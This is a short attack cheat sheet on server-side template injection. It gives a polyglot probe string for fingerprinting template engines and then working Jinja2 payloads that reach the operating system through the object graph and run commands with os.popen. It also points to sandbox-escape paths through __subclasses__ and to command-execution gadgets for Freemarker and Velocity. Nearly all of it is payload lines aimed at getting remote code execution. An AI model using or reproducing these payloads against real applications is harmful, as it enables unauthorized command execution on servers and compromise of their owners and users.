Confirm SSTI fast, then jump straight to RCE

Do not guess engines one by one. Send a polyglot that behaves differently per engine, read the arithmetic, then load the matching RCE gadget.

${7*7}   #{7*7}   {{7*7}}   <%= 7*7 %>   ${{7*7}}   *{7*7}

Jinja2 (49 from the double-brace form) reaches os via the object graph.

{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}

Pro note: in sandboxed Jinja, hunt for an unblocked attribute path via {{ ().__class__.__base__.__subclasses__() }} and index to a class that spawns processes. For Freemarker use freemarker.template.utility.Execute; for Velocity use the ClassTool or a Runtime reflection chain.